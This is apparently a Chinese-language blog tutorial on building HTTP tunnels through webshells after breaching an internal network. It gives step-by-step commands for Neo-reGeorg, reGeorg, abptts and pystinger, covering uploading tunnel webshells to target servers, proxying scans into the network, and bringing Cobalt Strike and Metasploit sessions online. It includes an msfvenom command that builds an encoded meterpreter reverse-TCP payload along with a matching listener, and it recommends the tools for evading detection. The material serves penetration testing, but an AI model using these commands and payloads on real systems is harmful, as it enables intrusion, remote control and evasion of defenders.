內網滲透之http隧道
前言
最近在整理內網滲透的一些相關資料,隧道的搭建是后滲透階段重要的一環。隨着防守的手段不斷升級,某些情況下只能搭建http隧道。
http隧道
簡介
通過HTTP協議與代理服務器建立連接,把所有要傳送的數據全部封裝到HTTP協議里進行傳送,協議中包含有要連接的遠程主機的IP和端口,連接成功之后會返回給客戶端200,表示驗證通過。
適用環境
獲取webshell的主機位於內網,並且該內網主機的icmp、dns、tcp和udp協議等都不能出網,唯一的數據通道是webshell搭建正向代理。
根據代理的穩定性、速度推薦Neo-reGeorg、reGeorg、abptts 三款工具。
Neo-reGeorg
簡介
可以稱為reGeorg的升級版,且傳輸內容經過了base64編碼,避免特征檢查,有效繞過檢測。
下載
https://github.com/L-codes/Neo-reGeorg
使用
1.設置密碼,生成tunnel的webshell,並上傳到目標服務器。
python neoreg.py generate -k cseroad

- 使用neoreg.py連接webshell,並在本地建立socks代理
注意:這里使用tunnel.nosocket.php,無socket的腳本
python neoreg.py -k cseroad -u http://xx/tunnel.nosocket.php

windows上可以使用SocksCap64 或者proxifier工具配置代理。
以windows上的SocksCap64 為例,添加代理。

測試連接成功。

注意有個測試代理地址。

點擊可測試。

linux上可以使用proxychains代理
編輯
vim /etc/proxychains.conf
添加代理IP以及端口即可。

kali本地工具就可以通過proxychains命令全部代理進內網。
注意代理不支持icmp協議。proxychains nmap -Pn -sT -sV -v -T4 IP
reGeorg
簡介
reGeorg 是 reDuh 的升級版。主要把內網服務器的端口通過http或https隧道轉發到本機。
下載
https://github.com/sensepost/reGeorg
使用
1.上傳tunnel.nosocket.php到目標服務器。

2.連接tunnel.nosocket.php,配置代理。
python reGeorgSocksProxy.py -u http://xxx/tunnel/tunnel.nosocket.php -p 9999
在SocksCap64 添加代理。

測試連接成功。

abptts
簡介
abptts是一款基於ssl加密的http隧道工具。全程通信數據加密有效對抗檢測。
下載
https://github.com/nccgroup/ABPTTS
使用
1.安裝python依賴庫
pip install pycrypto
pip install httplib2
2.本地運行,生成webshell
注意:該工具不支持php
python abpttsfactory.py -o webshell


將生成的代理腳本選擇性上傳到目標服務器。
返回hash值,說明代理正常執行。

建立隧道,將目標服務器的3389和本地的3389進行綁定。
python abpttsclient.py -c webshell/config.txt -u "http://xxxxx/abptts.aspx" -f 127.0.0.1:33389/127.0.0.1:3389

遠程連接本地的33389端口

另外:
冰蠍本身也有socks代理。
Tunna 也可以在內網代理中轉發端口。
pystinger
簡介
pystinger是通過webshell來實現內網的SOCK4代理。
使用python開發,當前支持php,jsp(x),aspx三種代理腳本。可直接用於metasploit,cobalt strike上線。
下載
https://github.com/FunnyWolf/pystinger
使用
1.上傳proxy.jsp到目標服務器,確保可以正常訪問。

2.上傳stinger_server.exe 到目標服務器,並start命令運行該程序
start stinger_server.exe
vps 運行client端
./stinger_client -w http://example.com:8080/proxy.jsp -l 0.0.0.0 -p 60000

將會在vps的6000端口啟用socks4a代理
在SocksCap64 添加代理,測試一下。

上線cobaltstrike
配置60020端口的listener。

選擇payload 生成artifact.exe,觸發后即可上線。


vps可看到socks連接。

上線metasploit
msfvenom生成60020端口的payload.exe
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=60020 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
metasploit 配置對應的監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 60020
set exitonsession false
exploit -j -z
將payload.exe在目標機上觸發后,即可上線。

參考資料
https://micro8.github.io/Micro8-HTML/Content/91-100.html
https://klionsec.github.io/2016/09/15/abptts-http-tunnel/